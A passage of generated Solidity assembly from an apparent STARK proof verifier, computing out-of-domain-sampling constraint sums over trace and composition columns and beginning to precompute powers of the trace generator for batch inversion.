0x67a0)), PRIME), add(columnValue, sub(PRIME, /*oods_values[111]*/ mload(add(context, 0x4ba0)))), PRIME)) // res += c_112*(f_7(x) - f_7(g^241 * z)) / (x - g^241 * z). res := add( res, mulmod(mulmod(/*(x - g^241 * z)^(-1)*/ mload(add(denominatorsPtr, 0x840)), /*oods_coefficients[112]*/ mload(add(context, 0x67c0)), PRIME), add(columnValue, sub(PRIME, /*oods_values[112]*/ mload(add(context, 0x4bc0)))), PRIME)) // res += c_113*(f_7(x) - f_7(g^257 * z)) / (x - g^257 * z). res := add( res, mulmod(mulmod(/*(x - g^257 * z)^(-1)*/ mload(add(denominatorsPtr, 0x8e0)), /*oods_coefficients[113]*/ mload(add(context, 0x67e0)), PRIME), add(columnValue, sub(PRIME, /*oods_values[113]*/ mload(add(context, 0x4be0)))), PRIME)) // res += c_114*(f_7(x) - f_7(g^265 * z)) / (x - g^265 * z). res := add( res, mulmod(mulmod(/*(x - g^265 * z)^(-1)*/ mload(add(denominatorsPtr, 0x940)), /*oods_coefficients[114]*/ mload(add(context, 0x6800)), PRIME), add(columnValue, sub(PRIME, /*oods_values[114]*/ mload(add(context, 0x4c00)))), PRIME)) // res += c_115*(f_7(x) - f_7(g^513 * z)) / (x - g^513 * z). res := add( res, mulmod(mulmod(/*(x - g^513 * z)^(-1)*/ mload(add(denominatorsPtr, 0xa00)), /*oods_coefficients[115]*/ mload(add(context, 0x6820)), PRIME), add(columnValue, sub(PRIME, /*oods_values[115]*/ mload(add(context, 0x4c20)))), PRIME)) // res += c_116*(f_7(x) - f_7(g^521 * z)) / (x - g^521 * z). res := add( res, mulmod(mulmod(/*(x - g^521 * z)^(-1)*/ mload(add(denominatorsPtr, 0xa40)), /*oods_coefficients[116]*/ mload(add(context, 0x6840)), PRIME), add(columnValue, sub(PRIME, /*oods_values[116]*/ mload(add(context, 0x4c40)))), PRIME)) // res += c_117*(f_7(x) - f_7(g^705 * z)) / (x - g^705 * z). res := add( res, mulmod(mulmod(/*(x - g^705 * z)^(-1)*/ mload(add(denominatorsPtr, 0xa60)), /*oods_coefficients[117]*/ mload(add(context, 0x6860)), PRIME), add(columnValue, sub(PRIME, /*oods_values[117]*/ mload(add(context, 0x4c60)))), PRIME)) // res += c_118*(f_7(x) - f_7(g^721 * z)) / (x - g^721 * z). res := add( res, mulmod(mulmod(/*(x - g^721 * z)^(-1)*/ mload(add(denominatorsPtr, 0xaa0)), /*oods_coefficients[118]*/ mload(add(context, 0x6880)), PRIME), add(columnValue, sub(PRIME, /*oods_values[118]*/ mload(add(context, 0x4c80)))), PRIME)) // res += c_119*(f_7(x) - f_7(g^737 * z)) / (x - g^737 * z). res := add( res, mulmod(mulmod(/*(x - g^737 * z)^(-1)*/ mload(add(denominatorsPtr, 0xac0)), /*oods_coefficients[119]*/ mload(add(context, 0x68a0)), PRIME), add(columnValue, sub(PRIME, /*oods_values[119]*/ mload(add(context, 0x4ca0)))), PRIME)) // res += c_120*(f_7(x) - f_7(g^753 * z)) / (x - g^753 * z). res := add( res, mulmod(mulmod(/*(x - g^753 * z)^(-1)*/ mload(add(denominatorsPtr, 0xae0)), /*oods_coefficients[120]*/ mload(add(context, 0x68c0)), PRIME), add(columnValue, sub(PRIME, /*oods_values[120]*/ mload(add(context, 0x4cc0)))), PRIME)) // res += c_121*(f_7(x) - f_7(g^769 * z)) / (x - g^769 * z). res := add( res, mulmod(mulmod(/*(x - g^769 * z)^(-1)*/ mload(add(denominatorsPtr, 0xb00)), /*oods_coefficients[121]*/ mload(add(context, 0x68e0)), PRIME), add(columnValue, sub(PRIME, /*oods_values[121]*/ mload(add(context, 0x4ce0)))), PRIME)) // res += c_122*(f_7(x) - f_7(g^777 * z)) / (x - g^777 * z). res := add( res, mulmod(mulmod(/*(x - g^777 * z)^(-1)*/ mload(add(denominatorsPtr, 0xb20)), /*oods_coefficients[122]*/ mload(add(context, 0x6900)), PRIME), add(columnValue, sub(PRIME, /*oods_values[122]*/ mload(add(context, 0x4d00)))), PRIME)) // res += c_123*(f_7(x) - f_7(g^961 * z)) / (x - g^961 * z). res := addmod( res, mulmod(mulmod(/*(x - g^961 * z)^(-1)*/ mload(add(denominatorsPtr, 0xb80)), /*oods_coefficients[123]*/ mload(add(context, 0x6920)), PRIME), add(columnValue, sub(PRIME, /*oods_values[123]*/ mload(add(context, 0x4d20)))), PRIME), PRIME) // res += c_124*(f_7(x) - f_7(g^977 * z)) / (x - g^977 * z). res := add( res, mulmod(mulmod(/*(x - g^977 * z)^(-1)*/ mload(add(denominatorsPtr, 0xbe0)), /*oods_coefficients[124]*/ mload(add(context, 0x6940)), PRIME), add(columnValue, sub(PRIME, /*oods_values[124]*/ mload(add(context, 0x4d40)))), PRIME)) // res += c_125*(f_7(x) - f_7(g^993 * z)) / (x - g^993 * z). res := add( res, mulmod(mulmod(/*(x - g^993 * z)^(-1)*/ mload(add(denominatorsPtr, 0xc00)), /*oods_coefficients[125]*/ mload(add(context, 0x6960)), PRIME), add(columnValue, sub(PRIME, /*oods_values[125]*/ mload(add(context, 0x4d60)))), PRIME)) // res += c_126*(f_7(x) - f_7(g^1009 * z)) / (x - g^1009 * z). res := add( res, mulmod(mulmod(/*(x - g^1009 * z)^(-1)*/ mload(add(denominatorsPtr, 0xc20)), /*oods_coefficients[126]*/ mload(add(context, 0x6980)), PRIME), add(columnValue, sub(PRIME, /*oods_values[126]*/ mload(add(context, 0x4d80)))), PRIME)) } // Mask items for column #8. { // Read the next element. let columnValue := mulmod(mload(add(traceQueryResponses, 0x100)), kMontgomeryRInv, PRIME) // res += c_127*(f_8(x) - f_8(z)) / (x - z). res := add( res, mulmod(mulmod(/*(x - z)^(-1)*/ mload(denominatorsPtr), /*oods_coefficients[127]*/ mload(add(context, 0x69a0)), PRIME), add(columnValue, sub(PRIME, /*oods_values[127]*/ mload(add(context, 0x4da0)))), PRIME)) // res += c_128*(f_8(x) - f_8(g^2 * z)) / (x - g^2 * z). res := add( res, mulmod(mulmod(/*(x - g^2 * z)^(-1)*/ mload(add(denominatorsPtr, 0x40)), /*oods_coefficients[128]*/ mload(add(context, 0x69c0)), PRIME), add(columnValue, sub(PRIME, /*oods_values[128]*/ mload(add(context, 0x4dc0)))), PRIME)) // res += c_129*(f_8(x) - f_8(g^4 * z)) / (x - g^4 * z). res := add( res, mulmod(mulmod(/*(x - g^4 * z)^(-1)*/ mload(add(denominatorsPtr, 0x80)), /*oods_coefficients[129]*/ mload(add(context, 0x69e0)), PRIME), add(columnValue, sub(PRIME, /*oods_values[129]*/ mload(add(context, 0x4de0)))), PRIME)) // res += c_130*(f_8(x) - f_8(g^8 * z)) / (x - g^8 * z). res := add( res, mulmod(mulmod(/*(x - g^8 * z)^(-1)*/ mload(add(denominatorsPtr, 0x100)), /*oods_coefficients[130]*/ mload(add(context, 0x6a00)), PRIME), add(columnValue, sub(PRIME, /*oods_values[130]*/ mload(add(context, 0x4e00)))), PRIME)) // res += c_131*(f_8(x) - f_8(g^12 * z)) / (x - g^12 * z). res := add( res, mulmod(mulmod(/*(x - g^12 * z)^(-1)*/ mload(add(denominatorsPtr, 0x180)), /*oods_coefficients[131]*/ mload(add(context, 0x6a20)), PRIME), add(columnValue, sub(PRIME, /*oods_values[131]*/ mload(add(context, 0x4e20)))), PRIME)) // res += c_132*(f_8(x) - f_8(g^18 * z)) / (x - g^18 * z). res := add( res, mulmod(mulmod(/*(x - g^18 * z)^(-1)*/ mload(add(denominatorsPtr, 0x240)), /*oods_coefficients[132]*/ mload(add(context, 0x6a40)), PRIME), add(columnValue, sub(PRIME, /*oods_values[132]*/ mload(add(context, 0x4e40)))), PRIME)) // res += c_133*(f_8(x) - f_8(g^20 * z)) / (x - g^20 * z). res := add( res, mulmod(mulmod(/*(x - g^20 * z)^(-1)*/ mload(add(denominatorsPtr, 0x280)), /*oods_coefficients[133]*/ mload(add(context, 0x6a60)), PRIME), add(columnValue, sub(PRIME, /*oods_values[133]*/ mload(add(context, 0x4e60)))), PRIME)) // res += c_134*(f_8(x) - f_8(g^28 * z)) / (x - g^28 * z). res := add( res, mulmod(mulmod(/*(x - g^28 * z)^(-1)*/ mload(add(denominatorsPtr, 0x2c0)), /*oods_coefficients[134]*/ mload(add(context, 0x6a80)), PRIME), add(columnValue, sub(PRIME, /*oods_values[134]*/ mload(add(context, 0x4e80)))), PRIME)) // res += c_135*(f_8(x) - f_8(g^34 * z)) / (x - g^34 * z). res := add( res, mulmod(mulmod(/*(x - g^34 * z)^(-1)*/ mload(add(denominatorsPtr, 0x300)), /*oods_coefficients[135]*/ mload(add(context, 0x6aa0)), PRIME), add(columnValue, sub(PRIME, /*oods_values[135]*/ mload(add(context, 0x4ea0)))), PRIME)) // res += c_136*(f_8(x) - f_8(g^36 * z)) / (x - g^36 * z). res := add( res, mulmod(mulmod(/*(x - g^36 * z)^(-1)*/ mload(add(denominatorsPtr, 0x320)), /*oods_coefficients[136]*/ mload(add(context, 0x6ac0)), PRIME), add(columnValue, sub(PRIME, /*oods_values[136]*/ mload(add(context, 0x4ec0)))), PRIME)) // res += c_137*(f_8(x) - f_8(g^44 * z)) / (x - g^44 * z). res := add( res, mulmod(mulmod(/*(x - g^44 * z)^(-1)*/ mload(add(denominatorsPtr, 0x340)), /*oods_coefficients[137]*/ mload(add(context, 0x6ae0)), PRIME), add(columnValue, sub(PRIME, /*oods_values[137]*/ mload(add(context, 0x4ee0)))), PRIME)) // res += c_138*(f_8(x) - f_8(g^52 * z)) / (x - g^52 * z). res := add( res, mulmod(mulmod(/*(x - g^52 * z)^(-1)*/ mload(add(denominatorsPtr, 0x380)), /*oods_coefficients[138]*/ mload(add(context, 0x6b00)), PRIME), add(columnValue, sub(PRIME, /*oods_values[138]*/ mload(add(context, 0x4f00)))), PRIME)) // res += c_139*(f_8(x) - f_8(g^60 * z)) / (x - g^60 * z). res := add( res, mulmod(mulmod(/*(x - g^60 * z)^(-1)*/ mload(add(denominatorsPtr, 0x3a0)), /*oods_coefficients[139]*/ mload(add(context, 0x6b20)), PRIME), add(columnValue, sub(PRIME, /*oods_values[139]*/ mload(add(context, 0x4f20)))), PRIME)) // res += c_140*(f_8(x) - f_8(g^66 * z)) / (x - g^66 * z). res := add( res, mulmod(mulmod(/*(x - g^66 * z)^(-1)*/ mload(add(denominatorsPtr, 0x3e0)), /*oods_coefficients[140]*/ mload(add(context, 0x6b40)), PRIME), add(columnValue, sub(PRIME, /*oods_values[140]*/ mload(add(context, 0x4f40)))), PRIME)) // res += c_141*(f_8(x) - f_8(g^68 * z)) / (x - g^68 * z). res := add( res, mulmod(mulmod(/*(x - g^68 * z)^(-1)*/ mload(add(denominatorsPtr, 0x400)), /*oods_coefficients[141]*/ mload(add(context, 0x6b60)), PRIME), add(columnValue, sub(PRIME, /*oods_values[141]*/ mload(add(context, 0x4f60)))), PRIME)) // res += c_142*(f_8(x) - f_8(g^76 * z)) / (x - g^76 * z). res := add( res, mulmod(mulmod(/*(x - g^76 * z)^(-1)*/ mload(add(denominatorsPtr, 0x460)), /*oods_coefficients[142]*/ mload(add(context, 0x6b80)), PRIME), add(columnValue, sub(PRIME, /*oods_values[142]*/ mload(add(context, 0x4f80)))), PRIME)) // res += c_143*(f_8(x) - f_8(g^82 * z)) / (x - g^82 * z). res := add( res, mulmod(mulmod(/*(x - g^82 * z)^(-1)*/ mload(add(denominatorsPtr, 0x4a0)), /*oods_coefficients[143]*/ mload(add(context, 0x6ba0)), PRIME), add(columnValue, sub(PRIME, /*oods_values[143]*/ mload(add(context, 0x4fa0)))), PRIME)) // res += c_144*(f_8(x) - f_8(g^92 * z)) / (x - g^92 * z). res := add( res, mulmod(mulmod(/*(x - g^92 * z)^(-1)*/ mload(add(denominatorsPtr, 0x4c0)), /*oods_coefficients[144]*/ mload(add(context, 0x6bc0)), PRIME), add(columnValue, sub(PRIME, /*oods_values[144]*/ mload(add(context, 0x4fc0)))), PRIME)) // res += c_145*(f_8(x) - f_8(g^98 * z)) / (x - g^98 * z). res := add( res, mulmod(mulmod(/*(x - g^98 * z)^(-1)*/ mload(add(denominatorsPtr, 0x500)), /*oods_coefficients[145]*/ mload(add(context, 0x6be0)), PRIME), add(columnValue, sub(PRIME, /*oods_values[145]*/ mload(add(context, 0x4fe0)))), PRIME)) // res += c_146*(f_8(x) - f_8(g^100 * z)) / (x - g^100 * z). res := add( res, mulmod(mulmod(/*(x - g^100 * z)^(-1)*/ mload(add(denominatorsPtr, 0x520)), /*oods_coefficients[146]*/ mload(add(context, 0x6c00)), PRIME), add(columnValue, sub(PRIME, /*oods_values[146]*/ mload(add(context, 0x5000)))), PRIME)) // res += c_147*(f_8(x) - f_8(g^116 * z)) / (x - g^116 * z). res := add( res, mulmod(mulmod(/*(x - g^116 * z)^(-1)*/ mload(add(denominatorsPtr, 0x580)), /*oods_coefficients[147]*/ mload(add(context, 0x6c20)), PRIME), add(columnValue, sub(PRIME, /*oods_values[147]*/ mload(add(context, 0x5020)))), PRIME)) // res += c_148*(f_8(x) - f_8(g^130 * z)) / (x - g^130 * z). res := add( res, mulmod(mulmod(/*(x - g^130 * z)^(-1)*/ mload(add(denominatorsPtr, 0x5c0)), /*oods_coefficients[148]*/ mload(add(context, 0x6c40)), PRIME), add(columnValue, sub(PRIME, /*oods_values[148]*/ mload(add(context, 0x5040)))), PRIME)) // res += c_149*(f_8(x) - f_8(g^194 * z)) / (x - g^194 * z). res := add( res, mulmod(mulmod(/*(x - g^194 * z)^(-1)*/ mload(add(denominatorsPtr, 0x700)), /*oods_coefficients[149]*/ mload(add(context, 0x6c60)), PRIME), add(columnValue, sub(PRIME, /*oods_values[149]*/ mload(add(context, 0x5060)))), PRIME)) // res += c_150*(f_8(x) - f_8(g^226 * z)) / (x - g^226 * z). res := add( res, mulmod(mulmod(/*(x - g^226 * z)^(-1)*/ mload(add(denominatorsPtr, 0x800)), /*oods_coefficients[150]*/ mload(add(context, 0x6c80)), PRIME), add(columnValue, sub(PRIME, /*oods_values[150]*/ mload(add(context, 0x5080)))), PRIME)) // res += c_151*(f_8(x) - f_8(g^16332 * z)) / (x - g^16332 * z). res := add( res, mulmod(mulmod(/*(x - g^16332 * z)^(-1)*/ mload(add(denominatorsPtr, 0xc60)), /*oods_coefficients[151]*/ mload(add(context, 0x6ca0)), PRIME), add(columnValue, sub(PRIME, /*oods_values[151]*/ mload(add(context, 0x50a0)))), PRIME)) // res += c_152*(f_8(x) - f_8(g^16340 * z)) / (x - g^16340 * z). res := add( res, mulmod(mulmod(/*(x - g^16340 * z)^(-1)*/ mload(add(denominatorsPtr, 0xc80)), /*oods_coefficients[152]*/ mload(add(context, 0x6cc0)), PRIME), add(columnValue, sub(PRIME, /*oods_values[152]*/ mload(add(context, 0x50c0)))), PRIME)) // res += c_153*(f_8(x) - f_8(g^16364 * z)) / (x - g^16364 * z). res := add( res, mulmod(mulmod(/*(x - g^16364 * z)^(-1)*/ mload(add(denominatorsPtr, 0xca0)), /*oods_coefficients[153]*/ mload(add(context, 0x6ce0)), PRIME), add(columnValue, sub(PRIME, /*oods_values[153]*/ mload(add(context, 0x50e0)))), PRIME)) // res += c_154*(f_8(x) - f_8(g^16372 * z)) / (x - g^16372 * z). res := addmod( res, mulmod(mulmod(/*(x - g^16372 * z)^(-1)*/ mload(add(denominatorsPtr, 0xcc0)), /*oods_coefficients[154]*/ mload(add(context, 0x6d00)), PRIME), add(columnValue, sub(PRIME, /*oods_values[154]*/ mload(add(context, 0x5100)))), PRIME), PRIME) // res += c_155*(f_8(x) - f_8(g^16380 * z)) / (x - g^16380 * z). res := add( res, mulmod(mulmod(/*(x - g^16380 * z)^(-1)*/ mload(add(denominatorsPtr, 0xce0)), /*oods_coefficients[155]*/ mload(add(context, 0x6d20)), PRIME), add(columnValue, sub(PRIME, /*oods_values[155]*/ mload(add(context, 0x5120)))), PRIME)) // res += c_156*(f_8(x) - f_8(g^16388 * z)) / (x - g^16388 * z). res := add( res, mulmod(mulmod(/*(x - g^16388 * z)^(-1)*/ mload(add(denominatorsPtr, 0xd00)), /*oods_coefficients[156]*/ mload(add(context, 0x6d40)), PRIME), add(columnValue, sub(PRIME, /*oods_values[156]*/ mload(add(context, 0x5140)))), PRIME)) // res += c_157*(f_8(x) - f_8(g^16420 * z)) / (x - g^16420 * z). res := add( res, mulmod(mulmod(/*(x - g^16420 * z)^(-1)*/ mload(add(denominatorsPtr, 0xd20)), /*oods_coefficients[157]*/ mload(add(context, 0x6d60)), PRIME), add(columnValue, sub(PRIME, /*oods_values[157]*/ mload(add(context, 0x5160)))), PRIME)) // res += c_158*(f_8(x) - f_8(g^32642 * z)) / (x - g^32642 * z). res := add( res, mulmod(mulmod(/*(x - g^32642 * z)^(-1)*/ mload(add(denominatorsPtr, 0xd80)), /*oods_coefficients[158]*/ mload(add(context, 0x6d80)), PRIME), add(columnValue, sub(PRIME, /*oods_values[158]*/ mload(add(context, 0x5180)))), PRIME)) // res += c_159*(f_8(x) - f_8(g^32658 * z)) / (x - g^32658 * z). res := add( res, mulmod(mulmod(/*(x - g^32658 * z)^(-1)*/ mload(add(denominatorsPtr, 0xda0)), /*oods_coefficients[159]*/ mload(add(context, 0x6da0)), PRIME), add(columnValue, sub(PRIME, /*oods_values[159]*/ mload(add(context, 0x51a0)))), PRIME)) // res += c_160*(f_8(x) - f_8(g^32674 * z)) / (x - g^32674 * z). res := add( res, mulmod(mulmod(/*(x - g^32674 * z)^(-1)*/ mload(add(denominatorsPtr, 0xdc0)), /*oods_coefficients[160]*/ mload(add(context, 0x6dc0)), PRIME), add(columnValue, sub(PRIME, /*oods_values[160]*/ mload(add(context, 0x51c0)))), PRIME)) // res += c_161*(f_8(x) - f_8(g^32706 * z)) / (x - g^32706 * z). res := add( res, mulmod(mulmod(/*(x - g^32706 * z)^(-1)*/ mload(add(denominatorsPtr, 0xde0)), /*oods_coefficients[161]*/ mload(add(context, 0x6de0)), PRIME), add(columnValue, sub(PRIME, /*oods_values[161]*/ mload(add(context, 0x51e0)))), PRIME)) // res += c_162*(f_8(x) - f_8(g^32716 * z)) / (x - g^32716 * z). res := add( res, mulmod(mulmod(/*(x - g^32716 * z)^(-1)*/ mload(add(denominatorsPtr, 0xe00)), /*oods_coefficients[162]*/ mload(add(context, 0x6e00)), PRIME), add(columnValue, sub(PRIME, /*oods_values[162]*/ mload(add(context, 0x5200)))), PRIME)) // res += c_163*(f_8(x) - f_8(g^32748 * z)) / (x - g^32748 * z). res := add( res, mulmod(mulmod(/*(x - g^32748 * z)^(-1)*/ mload(add(denominatorsPtr, 0xe20)), /*oods_coefficients[163]*/ mload(add(context, 0x6e20)), PRIME), add(columnValue, sub(PRIME, /*oods_values[163]*/ mload(add(context, 0x5220)))), PRIME)) // res += c_164*(f_8(x) - f_8(g^32756 * z)) / (x - g^32756 * z). res := add( res, mulmod(mulmod(/*(x - g^32756 * z)^(-1)*/ mload(add(denominatorsPtr, 0xe40)), /*oods_coefficients[164]*/ mload(add(context, 0x6e40)), PRIME), add(columnValue, sub(PRIME, /*oods_values[164]*/ mload(add(context, 0x5240)))), PRIME)) // res += c_165*(f_8(x) - f_8(g^32764 * z)) / (x - g^32764 * z). res := add( res, mulmod(mulmod(/*(x - g^32764 * z)^(-1)*/ mload(add(denominatorsPtr, 0xe60)), /*oods_coefficients[165]*/ mload(add(context, 0x6e60)), PRIME), add(columnValue, sub(PRIME, /*oods_values[165]*/ mload(add(context, 0x5260)))), PRIME)) } // Mask items for column #9. { // Read the next element. let columnValue := mulmod(mload(add(traceQueryResponses, 0x120)), kMontgomeryRInv, PRIME) // res += c_166*(f_9(x) - f_9(z)) / (x - z). res := add( res, mulmod(mulmod(/*(x - z)^(-1)*/ mload(denominatorsPtr), /*oods_coefficients[166]*/ mload(add(context, 0x6e80)), PRIME), add(columnValue, sub(PRIME, /*oods_values[166]*/ mload(add(context, 0x5280)))), PRIME)) // res += c_167*(f_9(x) - f_9(g * z)) / (x - g * z). res := add( res, mulmod(mulmod(/*(x - g * z)^(-1)*/ mload(add(denominatorsPtr, 0x20)), /*oods_coefficients[167]*/ mload(add(context, 0x6ea0)), PRIME), add(columnValue, sub(PRIME, /*oods_values[167]*/ mload(add(context, 0x52a0)))), PRIME)) // res += c_168*(f_9(x) - f_9(g^2 * z)) / (x - g^2 * z). res := add( res, mulmod(mulmod(/*(x - g^2 * z)^(-1)*/ mload(add(denominatorsPtr, 0x40)), /*oods_coefficients[168]*/ mload(add(context, 0x6ec0)), PRIME), add(columnValue, sub(PRIME, /*oods_values[168]*/ mload(add(context, 0x52c0)))), PRIME)) // res += c_169*(f_9(x) - f_9(g^3 * z)) / (x - g^3 * z). res := add( res, mulmod(mulmod(/*(x - g^3 * z)^(-1)*/ mload(add(denominatorsPtr, 0x60)), /*oods_coefficients[169]*/ mload(add(context, 0x6ee0)), PRIME), add(columnValue, sub(PRIME, /*oods_values[169]*/ mload(add(context, 0x52e0)))), PRIME)) // res += c_170*(f_9(x) - f_9(g^5 * z)) / (x - g^5 * z). res := add( res, mulmod(mulmod(/*(x - g^5 * z)^(-1)*/ mload(add(denominatorsPtr, 0xa0)), /*oods_coefficients[170]*/ mload(add(context, 0x6f00)), PRIME), add(columnValue, sub(PRIME, /*oods_values[170]*/ mload(add(context, 0x5300)))), PRIME)) // res += c_171*(f_9(x) - f_9(g^7 * z)) / (x - g^7 * z). res := add( res, mulmod(mulmod(/*(x - g^7 * z)^(-1)*/ mload(add(denominatorsPtr, 0xe0)), /*oods_coefficients[171]*/ mload(add(context, 0x6f20)), PRIME), add(columnValue, sub(PRIME, /*oods_values[171]*/ mload(add(context, 0x5320)))), PRIME)) // res += c_172*(f_9(x) - f_9(g^11 * z)) / (x - g^11 * z). res := add( res, mulmod(mulmod(/*(x - g^11 * z)^(-1)*/ mload(add(denominatorsPtr, 0x160)), /*oods_coefficients[172]*/ mload(add(context, 0x6f40)), PRIME), add(columnValue, sub(PRIME, /*oods_values[172]*/ mload(add(context, 0x5340)))), PRIME)) // res += c_173*(f_9(x) - f_9(g^15 * z)) / (x - g^15 * z). res := add( res, mulmod(mulmod(/*(x - g^15 * z)^(-1)*/ mload(add(denominatorsPtr, 0x1e0)), /*oods_coefficients[173]*/ mload(add(context, 0x6f60)), PRIME), add(columnValue, sub(PRIME, /*oods_values[173]*/ mload(add(context, 0x5360)))), PRIME)) } // Advance traceQueryResponses by amount read (0x20 * nTraceColumns). traceQueryResponses := add(traceQueryResponses, 0x140) // Composition constraints. { // Read the next element. let columnValue := mulmod(mload(compositionQueryResponses), kMontgomeryRInv, PRIME) // res += c_174*(h_0(x) - C_0(z^2)) / (x - z^2). res := add( res, mulmod(mulmod(/*(x - z^2)^(-1)*/ mload(add(denominatorsPtr, 0xea0)), /*oods_coefficients[174]*/ mload(add(context, 0x6f80)), PRIME), add(columnValue, sub(PRIME, /*composition_oods_values[0]*/ mload(add(context, 0x5380)))), PRIME)) } { // Read the next element. let columnValue := mulmod(mload(add(compositionQueryResponses, 0x20)), kMontgomeryRInv, PRIME) // res += c_175*(h_1(x) - C_1(z^2)) / (x - z^2). res := add( res, mulmod(mulmod(/*(x - z^2)^(-1)*/ mload(add(denominatorsPtr, 0xea0)), /*oods_coefficients[175]*/ mload(add(context, 0x6fa0)), PRIME), add(columnValue, sub(PRIME, /*composition_oods_values[1]*/ mload(add(context, 0x53a0)))), PRIME)) } // Advance compositionQueryResponses by amount read (0x20 * constraintDegree). compositionQueryResponses := add(compositionQueryResponses, 0x40) // Append the friValue, which is the sum of the out-of-domain-sampling boundary // constraints for the trace and composition polynomials, to the friQueue array. mstore(add(friQueue, 0x20), mod(res, PRIME)) // Append the friInvPoint of the current query to the friQueue array. mstore(add(friQueue, 0x40), /*friInvPoint*/ mload(add(denominatorsPtr,0xec0))) // Advance denominatorsPtr by chunk size (0x20 * (2+N_ROWS_IN_MASK)). denominatorsPtr := add(denominatorsPtr, 0xee0) } return(/*friQueue*/ add(context, 0xdc0), 0x1200) } } /* Computes and performs batch inverse on all the denominators required for the out of domain sampling boundary constraints. Since the friEvalPoints are calculated during the computation of the denominators this function also adds those to the batch inverse in prepartion for the fri that follows. After this function returns, the batch_inverse_out array holds #queries chunks of size (2 + N_ROWS_IN_MASK) with the following structure: 0..(N_ROWS_IN_MASK-1): [(x - g^i * z)^(-1) for i in rowsInMask] N_ROWS_IN_MASK: (x - z^constraintDegree)^-1 N_ROWS_IN_MASK+1: friEvalPointInv. */ function oodsPrepareInverses( uint256[] memory context, uint256[] memory batchInverseArray) internal view { uint256 evalCosetOffset_ = PrimeFieldElement0.GENERATOR_VAL; // The array expmodsAndPoints stores subexpressions that are needed // for the denominators computation. // The array is segmented as follows: // expmodsAndPoints[0:26] (.expmods) expmods used during calculations of the points below. // expmodsAndPoints[26:143] (.points) points used during the denominators calculation. uint256[143] memory expmodsAndPoints; assembly { function expmod(base, exponent, modulus) -> result { let p := mload(0x40) mstore(p, 0x20) // Length of Base. mstore(add(p, 0x20), 0x20) // Length of Exponent. mstore(add(p, 0x40), 0x20) // Length of Modulus. mstore(add(p, 0x60), base) // Base. mstore(add(p, 0x80), exponent) // Exponent. mstore(add(p, 0xa0), modulus) // Modulus. // Call modexp precompile. if iszero(staticcall(not(0), 0x05, p, 0xc0, p, 0x20)) { revert(0, 0) } result := mload(p) } let traceGenerator := /*trace_generator*/ mload(add(context, 0x2c00)) let PRIME := 0x800000000000011000000000000000000000000000000000000000000000001 // Prepare expmods for computations of trace generator powers. // expmodsAndPoints.expmods[0] = traceGenerator^2. mstore(expmodsAndPoints, mulmod(traceGenerator, // traceGenerator^1 traceGenerator, // traceGenerator^1 PRIME)) // expmodsAndPoints.expmods[1] = traceGenerator^3. mstore(add(expmodsAndPoints, 0x20), mulmod(mload(expmodsAndPoints), // traceGenerator^2 traceGenerator, // traceGenerator^1 PRIME)) // expmodsAndPoints.expmods[2] = traceGenerator^4. mstore(add(expmodsAndPoints, 0x40), mulmod(mload(add(expmodsAndPoints, 0x20)), // traceGenerator^3 traceGenerator, // traceGenerator^1 PRIME)) // expmodsAndPoints.expmods[3] = traceGenerator^5. mstore(add(expmodsAndPoints, 0x60), mulmod(mload(add(expmodsAndPoints, 0x40)), // traceGenerator^4 traceGenerator, // traceGenerator^1 PRIME)) // expmodsAndPoints.expmods[4] = traceGenerator^6. mstore(add(expmodsAndPoints, 0x80), mulmod(mload(add(expmodsAndPoints, 0x60)), // traceGenerator^5 traceGenerator, // traceGenerator^1 PRIME)) // expmodsAndPoints.expmods[5] = traceGenerator^7. mstore(add(expmodsAndPoints, 0xa0), mulmod(mload(add(expmodsAndPoints, 0x80)), // traceGenerator^6 traceGenerator, // traceGenerator^1 PRIME)) // expmodsAndPoints.expmods[6] = traceGenerator^8. mstore(add(expmodsAndPoints, 0xc0), mulmod(mload(add(expmodsAndPoints, 0xa0)), // traceGenerator^7 traceGenerator, // traceGenerator^1 PRIME)) // expmodsAndPoints.expmods[7] = traceGenerator^10. mstore(add(expmodsAndPoints, 0xe0), mulmod(mload(add(expmodsAndPoints, 0xc0)), // traceGenerator^8 mload(expmodsAndPoints), // traceGenerator^2 PRIME)) // expmodsAndPoints.expmods[8] = traceGenerator^11. mstore(add(expmodsAndPoints, 0x100), mulmod(mload(add(expmodsAndPoints, 0xe0)), // traceGenerator^10 traceGenerator, // traceGenerator^1 PRIME)) // expmodsAndPoints.expmods[9] = traceGenerator^13. mstore(add(expmodsAndPoints, 0x120), mulmod(mload(add(expmodsAndPoints, 0x100)), // traceGenerator^11 mload(expmodsAndPoints), // traceGenerator^2 PRIME)) // expmodsAndPoints.expmods[10] = traceGenerator^15. mstore(add(expmodsAndPoints, 0x140), mulmod(mload(add(expmodsAndPoints, 0x120)), // traceGenerator^13 mload(expmodsAndPoints), // traceGenerator^2 PRIME)) // expmodsAndPoints.expmods[11] = traceGenerator^16. mstore(add(expmodsAndPoints, 0x160), mulmod(mload(add(expmodsAndPoints, 0x140)), // traceGenerator^15 traceGenerator, // traceGenerator^1 PRIME)) // expmodsAndPoints.expmods[12] = traceGenerator^24. mstore(add(expmodsAndPoints, 0x180), mulmod(mload(add(expmodsAndPoints, 0x160)), // traceGenerator^16 mload(add(expmodsAndPoints, 0xc0)), // traceGenerator^8 PRIME)) // expmodsAndPoints.expmods[13] = traceGenerator^32. mstore(add(expmodsAndPoints, 0x1a0), mulmod(mload(add(expmodsAndPoints, 0x180)), // traceGenerator^24 mload(add(expmodsAndPoints, 0xc0)), // traceGenerator^8 PRIME)) // expmodsAndPoints.expmods[14] = traceGenerator^57. mstore(add(expmodsAndPoints, 0x1c0), mulmod(mload(add(expmodsAndPoints, 0x1a0)), // traceGenerator^32 mulmod(mload(add(expmodsAndPoints, 0x180)), // traceGenerator^24 traceGenerator, // traceGenerator^1 PRIME), PRIME)) // expmodsAndPoints.expmods[15] = traceGenerator^58. mstore(add(expmodsAndPoints, 0x1e0), mulmod(mload(add(expmodsAndPoints, 0x1c0)), // traceGenerator^57 traceGenerator, // traceGenerator^1 PRIME)) // expmodsAndPoints.expmods[16] = traceGenerator^61. mstore(add(expmodsAndPoints, 0x200), mulmod(mload(add(expmodsAndPoints, 0x1e0)), // traceGenerator^58 mload(add(expmodsAndPoints, 0x20)), // traceGenerator^3 PRIME)) // expmodsAndPoints.expmods[17] = traceGenerator^63. mstore(add(expmodsAndPoints, 0x220), mulmod(mload(add(expmodsAndPoints, 0x200)), // traceGenerator^61 mload(expmodsAndPoints), // traceGenerator^2 PRIME)) // expmodsAndPoints.expmods[18] = traceGenerator^64. mstore(add(expmodsAndPoints, 0x240), mulmod(mload(add(expmodsAndPoints, 0x220)), // traceGenerator^63 traceGenerator, // traceGenerator^1 PRIME)) // 